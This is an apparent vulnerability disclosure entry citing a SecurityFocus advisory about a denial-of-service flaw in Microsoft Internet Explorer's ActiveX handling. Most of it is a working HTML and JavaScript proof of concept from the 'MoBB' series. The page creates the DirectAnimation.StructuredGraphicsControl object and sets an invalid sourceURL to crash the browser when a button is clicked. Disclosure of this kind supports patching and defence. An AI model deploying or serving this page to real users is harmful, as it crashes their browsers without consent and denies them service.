source: https://www.securityfocus.com/bid/18855/info
Microsoft Internet Explorer is prone to a denial-of-service vulnerability because it fails to handle ActiveX controls properly.
This issue is triggered when an attacker convinces a victim user to activate a malicious ActiveX control.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
<html><body><script>
// MoBB Demonstration
function Demo() {
var a = new ActiveXObject('DirectAnimation.StructuredGraphicsControl');
a.sourceURL = 'CrashingBecauseStreamPtrNotInitialized';
}
</script>
Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
</body></html>